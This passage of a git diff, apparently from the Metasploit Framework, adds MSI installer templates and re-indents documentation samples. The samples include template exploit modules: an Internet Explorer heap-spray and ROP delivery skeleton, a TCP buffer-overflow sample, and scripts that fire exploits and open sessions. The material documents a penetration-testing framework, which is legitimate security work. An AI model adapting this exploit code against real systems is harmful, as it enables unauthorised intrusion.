BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB \ No newline at end of file diff --git a/data/templates/src/msi/compile.bat b/data/templates/src/msi/compile.bat new file mode 100644 index 0000000000..2e0ffc8f07 --- /dev/null +++ b/data/templates/src/msi/compile.bat @@ -0,0 +1,18 @@ +@echo off +REM Set PATH to location of your WiX binaries +SET PATH=%PATH%;c:\tools\local\wix38-binaries\ +@echo on + +candle template_windows.wxs +light template_windows.wixobj +copy template_windows.msi ..\..\template_windows.msi +del template_windows.msi +del template_windows.wixobj +del template_windows.wixpdb + +candle template_nouac_windows.wxs +light template_nouac_windows.wixobj +copy template_nouac_windows.msi ..\..\template_nouac_windows.msi +del template_nouac_windows.msi +del template_nouac_windows.wixobj +del template_nouac_windows.wixpdb \ No newline at end of file diff --git a/data/templates/src/msi/template_nouac_windows.wxs b/data/templates/src/msi/template_nouac_windows.wxs new file mode 100644 index 0000000000..7d9c8f1ce8 --- /dev/null +++ b/data/templates/src/msi/template_nouac_windows.wxs @@ -0,0 +1,38 @@ + + + + + + + + + + + 0 + + + + + + + + + + fail + + + + + + + + + + + + + + + + diff --git a/data/templates/src/msi/template_windows.wxs b/data/templates/src/msi/template_windows.wxs new file mode 100644 index 0000000000..84097d4936 --- /dev/null +++ b/data/templates/src/msi/template_windows.wxs @@ -0,0 +1,35 @@ + + + + + + + + + + + 0 + + + + + + + + + + fail + + + + + + + + + + + + + diff --git a/data/templates/template_nouac_windows.msi b/data/templates/template_nouac_windows.msi new file mode 100644 index 0000000000..0370464b99 Binary files /dev/null and b/data/templates/template_nouac_windows.msi differ diff --git a/data/templates/template_windows.msi b/data/templates/template_windows.msi new file mode 100644 index 0000000000..02e48215ae Binary files /dev/null and b/data/templates/template_windows.msi differ diff --git a/documentation/samples/framework/dump_module_info.rb b/documentation/samples/framework/dump_module_info.rb index 2666c364c7..35877764a1 100755 --- a/documentation/samples/framework/dump_module_info.rb +++ b/documentation/samples/framework/dump_module_info.rb @@ -13,22 +13,22 @@ $:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib')) require 'msf/base' if (ARGV.empty?) - puts "Usage: #{File.basename(__FILE__)} module_name" - exit + puts "Usage: #{File.basename(__FILE__)} module_name" + exit end modname = ARGV.shift framework = Msf::Simple::Framework.create begin - # Create the module instance. - mod = framework.modules.create(modname) - if not mod - puts "Error: The specified Msf::Module, \"#{modname}\", was not found." - else - # Dump the module's information in readable text format. - puts Msf::Serializer::ReadableText.dump_module(mod) - end + # Create the module instance. + mod = framework.modules.create(modname) + if not mod + puts "Error: The specified Msf::Module, \"#{modname}\", was not found." + else + # Dump the module's information in readable text format. + puts Msf::Serializer::ReadableText.dump_module(mod) + end rescue - puts "Error: #{$!}\n\n#{$@.join("\n")}" + puts "Error: #{$!}\n\n#{$@.join("\n")}" end diff --git a/documentation/samples/framework/encode_file.rb b/documentation/samples/framework/encode_file.rb index 70bf79e7d8..b004ed4f63 100755 --- a/documentation/samples/framework/encode_file.rb +++ b/documentation/samples/framework/encode_file.rb @@ -13,18 +13,18 @@ $:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib')) require 'msf/base' if (ARGV.empty?) - puts "Usage: #{File.basename(__FILE__)} encoder_name file_name format" - exit + puts "Usage: #{File.basename(__FILE__)} encoder_name file_name format" + exit end framework = Msf::Simple::Framework.create begin - # Create the encoder instance. - mod = framework.encoders.create(ARGV.shift) + # Create the encoder instance. + mod = framework.encoders.create(ARGV.shift) - puts(Msf::Simple::Buffer.transform( - mod.encode(IO.read(ARGV.shift)), ARGV.shift || 'ruby')) + puts(Msf::Simple::Buffer.transform( + mod.encode(IO.read(ARGV.shift)), ARGV.shift || 'ruby')) rescue - puts "Error: #{$!}\n\n#{$@.join("\n")}" + puts "Error: #{$!}\n\n#{$@.join("\n")}" end diff --git a/documentation/samples/framework/enumerate_modules.rb b/documentation/samples/framework/enumerate_modules.rb index 903a918040..ad4ea6fd64 100755 --- a/documentation/samples/framework/enumerate_modules.rb +++ b/documentation/samples/framework/enumerate_modules.rb @@ -16,5 +16,5 @@ framework = Msf::Simple::Framework.create # Enumerate each module in the framework. framework.modules.each_module { |name, mod| - puts "#{mod.type}: #{name}" + puts "#{mod.type}: #{name}" } diff --git a/documentation/samples/framework/run_exploit_using_base.rb b/documentation/samples/framework/run_exploit_using_base.rb index 0a6f2a6b8b..29f61c1ead 100755 --- a/documentation/samples/framework/run_exploit_using_base.rb +++ b/documentation/samples/framework/run_exploit_using_base.rb @@ -14,8 +14,8 @@ $:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib')) require 'msf/base' if (ARGV.length == 0) - puts "Usage: #{File.basename(__FILE__)} exploit_name payload_name OPTIONS" - exit + puts "Usage: #{File.basename(__FILE__)} exploit_name payload_name OPTIONS" + exit end framework = Msf::Simple::Framework.create @@ -25,28 +25,28 @@ input = Rex::Ui::Text::Input::Stdio.new output = Rex::Ui::Text::Output::Stdio.new begin - # Initialize the exploit instance - exploit = framework.exploits.create(exploit_name) + # Initialize the exploit instance + exploit = framework.exploits.create(exploit_name) - # Fire it off. - session = exploit.exploit_simple( - 'Payload' => payload_name, - 'OptionStr' => ARGV.join(' '), - 'LocalInput' => input, - 'LocalOutput' => output) + # Fire it off. + session = exploit.exploit_simple( + 'Payload' => payload_name, + 'OptionStr' => ARGV.join(' '), + 'LocalInput' => input, + 'LocalOutput' => output) - # If a session came back, try to interact with it. - if (session) - output.print_status("Session #{session.sid} created, interacting...") - output.print_line + # If a session came back, try to interact with it. + if (session) + output.print_status("Session #{session.sid} created, interacting...") + output.print_line - session.init_ui(input, output) + session.init_ui(input, output) - session.interact - else - output.print_line("Exploit completed, no session was created.") - end + session.interact + else + output.print_line("Exploit completed, no session was created.") + end rescue - output.print_error("Error: #{$!}\n\n#{$@.join("\n")}") + output.print_error("Error: #{$!}\n\n#{$@.join("\n")}") end diff --git a/documentation/samples/framework/run_exploit_using_core.rb b/documentation/samples/framework/run_exploit_using_core.rb index 731aaac3c9..d2fd0b5a5d 100755 --- a/documentation/samples/framework/run_exploit_using_core.rb +++ b/documentation/samples/framework/run_exploit_using_core.rb @@ -15,8 +15,8 @@ $:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib')) require 'msf/base' if (ARGV.length == 0) - puts "Usage: #{File.basename(__FILE__)} exploit_name payload_name OPTIONS" - exit + puts "Usage: #{File.basename(__FILE__)} exploit_name payload_name OPTIONS" + exit end framework = Msf::Simple::Framework.create @@ -26,43 +26,43 @@ input = Rex::Ui::Text::Input::Stdio.new output = Rex::Ui::Text::Output::Stdio.new begin - # Create the exploit driver instance. - driver = Msf::ExploitDriver.new(framework) + # Create the exploit driver instance. + driver = Msf::ExploitDriver.new(framework) - # Initialize the exploit driver's exploit and payload instance - driver.exploit = framework.exploits.create(exploit_name) - driver.payload = framework.payloads.create(payload_name) + # Initialize the exploit driver's exploit and payload instance + driver.exploit = framework.exploits.create(exploit_name) + driver.payload = framework.payloads.create(payload_name) - # Import options specified in VAR=VAL format from the supplied command - # line. - driver.exploit.datastore.import_options_from_s(ARGV.join(' ')) + # Import options specified in VAR=VAL format from the supplied command + # line. + driver.exploit.datastore.import_options_from_s(ARGV.join(' ')) - # Share the exploit's datastore with the payload. - driver.payload.share_datastore(driver.exploit.datastore) + # Share the exploit's datastore with the payload. + driver.payload.share_datastore(driver.exploit.datastore) - # Initialize the target index to what's in the exploit's data store or - # zero by default. - driver.target_idx = (driver.exploit.datastore['TARGET'] || 0).to_i + # Initialize the target index to what's in the exploit's data store or + # zero by default. + driver.target_idx = (driver.exploit.datastore['TARGET'] || 0).to_i - # Initialize the exploit and payload user interfaces. - driver.exploit.init_ui(input, output) - driver.payload.init_ui(input, output) + # Initialize the exploit and payload user interfaces. + driver.exploit.init_ui(input, output) + driver.payload.init_ui(input, output) - # Fire it off. - session = driver.run + # Fire it off. + session = driver.run - # If a session came back, try to interact with it. - if (session) - output.print_status("Session #{session.sid} created, interacting...") - output.print_line + # If a session came back, try to interact with it. + if (session) + output.print_status("Session #{session.sid} created, interacting...") + output.print_line - session.init_ui(input, output) + session.init_ui(input, output) - session.interact - else - output.print_line("Exploit completed, no session was created.") - end + session.interact + else + output.print_line("Exploit completed, no session was created.") + end rescue - output.print_error("Error: #{$!}\n\n#{$@.join("\n")}") + output.print_error("Error: #{$!}\n\n#{$@.join("\n")}") end diff --git a/documentation/samples/modules/auxiliary/sample.rb b/documentation/samples/modules/auxiliary/sample.rb index 976f5d0f95..e8b2a39980 100644 --- a/documentation/samples/modules/auxiliary/sample.rb +++ b/documentation/samples/modules/auxiliary/sample.rb @@ -15,31 +15,31 @@ require 'msf/core' ### class Metasploit4 < Msf::Auxiliary - def initialize(info={}) - super(update_info(info, - 'Name' => 'Sample Auxiliary Module', - 'Description' => 'Sample Auxiliary Module', - 'Author' => ['hdm'], - 'License' => MSF_LICENSE, - 'Actions' => - [ - ['Default Action'], - ['Another Action'] - ] - )) + def initialize(info={}) + super(update_info(info, + 'Name' => 'Sample Auxiliary Module', + 'Description' => 'Sample Auxiliary Module', + 'Author' => ['hdm'], + 'License' => MSF_LICENSE, + 'Actions' => + [ + ['Default Action'], + ['Another Action'] + ] + )) - end + end - def run - print_status("Running the simple auxiliary module with action #{action.name}") - end + def run + print_status("Running the simple auxiliary module with action #{action.name}") + end - def auxiliary_commands - return { "aux_extra_command" => "Run this auxiliary test commmand" } - end + def auxiliary_commands + return { "aux_extra_command" => "Run this auxiliary test commmand" } + end - def cmd_aux_extra_command(*args) - print_status("Running inside aux_extra_command()") - end + def cmd_aux_extra_command(*args) + print_status("Running inside aux_extra_command()") + end end diff --git a/documentation/samples/modules/encoders/sample.rb b/documentation/samples/modules/encoders/sample.rb index 9ca09565e0..f60dde2e36 100644 --- a/documentation/samples/modules/encoders/sample.rb +++ b/documentation/samples/modules/encoders/sample.rb @@ -13,23 +13,23 @@ ### class Metasploit4 < Msf::Encoder - def initialize - super( - 'Name' => 'Sample Encoder', - 'Description' => %q{ - Sample encoder that just returns the block it's passed - when encoding occurs. - }, - 'License' => MSF_LICENSE, - 'Author' => 'skape', - 'Arch' => ARCH_ALL) - end + def initialize + super( + 'Name' => 'Sample Encoder', + 'Description' => %q{ + Sample encoder that just returns the block it's passed + when encoding occurs. + }, + 'License' => MSF_LICENSE, + 'Author' => 'skape', + 'Arch' => ARCH_ALL) + end - # - # Returns the unmodified buffer to the caller. - # - def encode_block(state, buf) - buf - end + # + # Returns the unmodified buffer to the caller. + # + def encode_block(state, buf) + buf + end end diff --git a/documentation/samples/modules/exploits/ie_browser.rb b/documentation/samples/modules/exploits/ie_browser.rb index bc3131d756..3580436400 100644 --- a/documentation/samples/modules/exploits/ie_browser.rb +++ b/documentation/samples/modules/exploits/ie_browser.rb @@ -15,133 +15,133 @@ require 'msf/core' # ### class Metasploit4 < Msf::Exploit::Remote - Rank = NormalRanking + Rank = NormalRanking - include Msf::Exploit::Remote::HttpServer::HTML - include Msf::Exploit::RopDb - include Msf::Exploit::Remote::BrowserAutopwn + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb + include Msf::Exploit::Remote::BrowserAutopwn - # Set :classid and :method for ActiveX exploits. For example: - # :classid => "{C3B92104-B5A7-11D0-A37F-00A0248F0AF1}", - # :method => "SetShapeNodeType", - autopwn_info({ - :ua_name => HttpClients::IE, - :ua_minver => "8.0", - :ua_maxver => "10.0", - :javascript => true, - :os_name => OperatingSystems::WINDOWS, - :rank => NormalRanking - }) + # Set :classid and :method for ActiveX exploits. For example: + # :classid => "{C3B92104-B5A7-11D0-A37F-00A0248F0AF1}", + # :method => "SetShapeNodeType", + autopwn_info({ + :ua_name => HttpClients::IE, + :ua_minver => "8.0", + :ua_maxver => "10.0", + :javascript => true, + :os_name => OperatingSystems::WINDOWS, + :rank => NormalRanking + }) - def initialize(info={}) - super(update_info(info, - 'Name' => "Module Name", - 'Description' => %q{ - This template covers IE8/9/10, and uses the user-agent HTTP header to detect - the browser version. Please note IE8 and newer may emulate an older IE version - in compatibility mode, in that case the module won't be able to detect the - browser correctly. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'sinn3r' ], - 'References' => - [ - [ 'URL', 'http://metasploit.com' ] - ], - 'Platform' => 'win', - 'Targets' => - [ - [ 'Automatic', {} ], - [ 'IE 8 on Windows XP SP3', { 'Rop' => :jre } ], - [ 'IE 8 on Windows Vista', { 'Rop' => :jre } ], - [ 'IE 8 on Windows 7', { 'Rop' => :jre } ], - [ 'IE 9 on Windows 7', { 'Rop' => :jre } ], - [ 'IE 10 on Windows 8', { 'Rop' => :jre } ] - ], - 'Payload' => - { - 'BadChars' => "\x00", # js_property_spray - 'StackAdjustment' => -3500 - }, - 'Privileged' => false, - 'DisclosureDate' => "Apr 1 2013", - 'DefaultTarget' => 0)) - end + def initialize(info={}) + super(update_info(info, + 'Name' => "Module Name", + 'Description' => %q{ + This template covers IE8/9/10, and uses the user-agent HTTP header to detect + the browser version. Please note IE8 and newer may emulate an older IE version + in compatibility mode, in that case the module won't be able to detect the + browser correctly. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'sinn3r' ], + 'References' => + [ + [ 'URL', 'http://metasploit.com' ] + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', {} ], + [ 'IE 8 on Windows XP SP3', { 'Rop' => :jre } ], + [ 'IE 8 on Windows Vista', { 'Rop' => :jre } ], + [ 'IE 8 on Windows 7', { 'Rop' => :jre } ], + [ 'IE 9 on Windows 7', { 'Rop' => :jre } ], + [ 'IE 10 on Windows 8', { 'Rop' => :jre } ] + ], + 'Payload' => + { + 'BadChars' => "\x00", # js_property_spray + 'StackAdjustment' => -3500 + }, + 'Privileged' => false, + 'DisclosureDate' => "Apr 1 2013", + 'DefaultTarget' => 0)) + end - def get_target(agent) - return target if target.name != 'Automatic' + def get_target(agent) + return target if target.name != 'Automatic' - nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' - ie = agent.scan(/MSIE (\d)/).flatten[0] || '' + nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' + ie = agent.scan(/MSIE (\d)/).flatten[0] || '' - ie_name = "IE #{ie}" + ie_name = "IE #{ie}" - case nt - when '5.1' - os_name = 'Windows XP SP3' - when '6.0' - os_name = 'Windows Vista' - when '6.1' - os_name = 'Windows 7' - when '6.2' - os_name = 'Windows 8' - end + case nt + when '5.1' + os_name = 'Windows XP SP3' + when '6.0' + os_name = 'Windows Vista' + when '6.1' + os_name = 'Windows 7' + when '6.2' + os_name = 'Windows 8' + end - targets.each do |t| - if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) - return t - end - end + targets.each do |t| + if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) + return t + end + end - nil - end + nil + end - def get_payload(t) - stack_pivot = "\x41\x42\x43\x44" - code = payload.encoded + def get_payload(t) + stack_pivot = "\x41\x42\x43\x44" + code = payload.encoded - case t['Rop'] - when :msvcrt - print_status("Using msvcrt ROP") - rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'}) + case t['Rop'] + when :msvcrt + print_status("Using msvcrt ROP") + rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'}) - else - print_status("Using JRE ROP") - rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot}) - end + else + print_status("Using JRE ROP") + rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot}) + end - rop_payload - end + rop_payload + end - def get_html(t) - js_p = ::Rex::Text.to_unescape(get_payload(t), ::Rex::Arch.endian(t.arch)) - html = %Q| - - | + var s = unescape("#{js_p}"); + sprayHeap({shellcode:s}); + + | - html.gsub(/^\t\t/, '') - end + html.gsub(/^\t\t/, '') + end - def on_request_uri(cli, request) - agent = request.headers['User-Agent'] - print_status("Requesting: #{request.uri}") + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + print_status("Requesting: #{request.uri}") - target = get_target(agent) - if target.nil? - print_error("Browser not supported, sending 404: #{agent}") - send_not_found(cli) - return - end + target = get_target(agent) + if target.nil? + print_error("Browser not supported, sending 404: #{agent}") + send_not_found(cli) + return + end - print_status("Target selected as: #{target.name}") - html = get_html(target) - send_response(cli, html, { 'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache' }) - end + print_status("Target selected as: #{target.name}") + html = get_html(target) + send_response(cli, html, { 'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache' }) + end end diff --git a/documentation/samples/modules/exploits/sample.rb b/documentation/samples/modules/exploits/sample.rb index e3cd52de57..081020fcd3 100644 --- a/documentation/samples/modules/exploits/sample.rb +++ b/documentation/samples/modules/exploits/sample.rb @@ -15,71 +15,71 @@ require 'msf/core' ### class Metasploit4 < Msf::Exploit::Remote - # - # This exploit affects TCP servers, so we use the TCP client mixin. - # - include Exploit::Remote::Tcp + # + # This exploit affects TCP servers, so we use the TCP client mixin. + # + include Exploit::Remote::Tcp - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Sample Exploit', - 'Description' => %q{ - This exploit module illustrates how a vulnerability could be exploited - in an TCP server that has a parsing bug. - }, - 'License' => MSF_LICENSE, - 'Author' => ['skape'], - 'References' => - [ - ], - 'Payload' => - { - 'Space' => 1000, - 'BadChars' => "\x00", - }, - 'Targets' => - [ - # Target 0: Windows All - [ - 'Windows XP/Vista/7/8', - { - 'Platform' => 'win', - 'Ret' => 0x41424344 - } - ], - ], - 'DisclosureDate' => "Apr 1 2013", - 'DefaultTarget' => 0)) - end + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Sample Exploit', + 'Description' => %q{ + This exploit module illustrates how a vulnerability could be exploited + in an TCP server that has a parsing bug. + }, + 'License' => MSF_LICENSE, + 'Author' => ['skape'], + 'References' => + [ + ], + 'Payload' => + { + 'Space' => 1000, + 'BadChars' => "\x00", + }, + 'Targets' => + [ + # Target 0: Windows All + [ + 'Windows XP/Vista/7/8', + { + 'Platform' => 'win', + 'Ret' => 0x41424344 + } + ], + ], + 'DisclosureDate' => "Apr 1 2013", + 'DefaultTarget' => 0)) + end - # - # The sample exploit just indicates that the remote host is always - # vulnerable. - # - def check - Exploit::CheckCode::Vulnerable - end + # + # The sample exploit just indicates that the remote host is always + # vulnerable. + # + def check + Exploit::CheckCode::Vulnerable + end - # - # The exploit method connects to the remote service and sends 1024 random bytes - # followed by the fake return address and then the payload. - # - def exploit - connect + # + # The exploit method connects to the remote service and sends 1024 random bytes + # followed by the fake return address and then the payload. + # + def exploit + connect - print_status("Sending #{payload.encoded.length} byte payload...") + print_status("Sending #{payload.encoded.length} byte payload...") - # Build the buffer for transmission - buf = rand_text_alpha(1024) - buf << [ target.ret ].pack('V') - buf << payload.encoded + # Build the buffer for transmission + buf = rand_text_alpha(1024) + buf << [ target.ret ].pack('V') + buf << payload.encoded - # Send it off - sock.put(buf) - sock.get_once + # Send it off + sock.put(buf) + sock.get_once - handler - end + handler + end end diff --git a/documentation/samples/modules/nops/sample.rb b/documentation/samples/modules/nops/sample.rb index ec171857c3..d24a87808b 100644 --- a/documentation/samples/modules/nops/sample.rb +++ b/documentation/samples/modules/nops/sample.rb @@ -15,20 +15,20 @@ require 'msf/core' ### class Metasploit4 < Msf::Nop - def initialize - super( - 'Name' => 'Sample NOP Generator', - 'Description' => 'Sample single-byte NOP generator', - 'License' => MSF_LICENSE, - 'Author' => 'skape', - 'Arch' => ARCH_X86) - end + def initialize + super( + 'Name' => 'Sample NOP Generator', + 'Description' => 'Sample single-byte NOP generator', + 'License' => MSF_LICENSE, + 'Author' => 'skape', + 'Arch' => ARCH_X86) + end - # - # Returns a string of 0x90's for the supplied length. - # - def generate_sled(length, opts) - "\x90" * length - end + # + # Returns a string of 0x90's for the supplied length. + # + def generate_sled(length, opts) + "\x90" * length + end end diff --git a/documentation/samples/modules/payloads/singles/sample.rb b/documentation/samples/modules/payloads/singles/sample.rb index ee23fd28fc..c79123c90e 100644 --- a/documentation/samples/modules/payloads/singles/sample.rb +++ b/documentation/samples/modules/payloads/singles/sample.rb @@ -14,21 +14,21 @@ require 'msf/core' ### module Metasploit4 - include Msf::Payload::Single + include Msf::Payload::Single - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Debugger Trap', - 'Description' => 'Causes a debugger trap exception through int3', - 'License' => MSF_LICENSE, - 'Author' => 'skape', - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Payload' => - { - 'Payload' => "\xcc" - } - )) - end + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Debugger Trap', + 'Description' => 'Causes a debugger trap exception through int3', + 'License' => MSF_LICENSE, + 'Author' => 'skape', + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Payload' => + { + 'Payload' => "\xcc" + } + )) + end end diff --git a/documentation/samples/modules/post/sample.rb b/documentation/samples/modules/post/sample.rb index fde58e237a..2729ced0bd 100644 --- a/documentation/samples/modules/post/sample.rb +++ b/documentation/samples/modules/post/sample.rb @@ -15,26 +15,26 @@ require 'msf/core/post/common' ### class Metasploit4 < Msf::Post - include Msf::Post::Common + include Msf::Post::Common - def initialize(info={}) - super(update_info(info, - 'Name' => 'Sample Post Module', - 'Description' => %q{Sample Post Module}, - 'License' => MSF_LICENSE, - 'Author' => [ 'sinn3r'], - 'Platform' => [ 'win'], - 'SessionTypes' => [ "shell", "meterpreter" ] - )) - end + def initialize(info={}) + super(update_info(info, + 'Name' => 'Sample Post Module', + 'Description' => 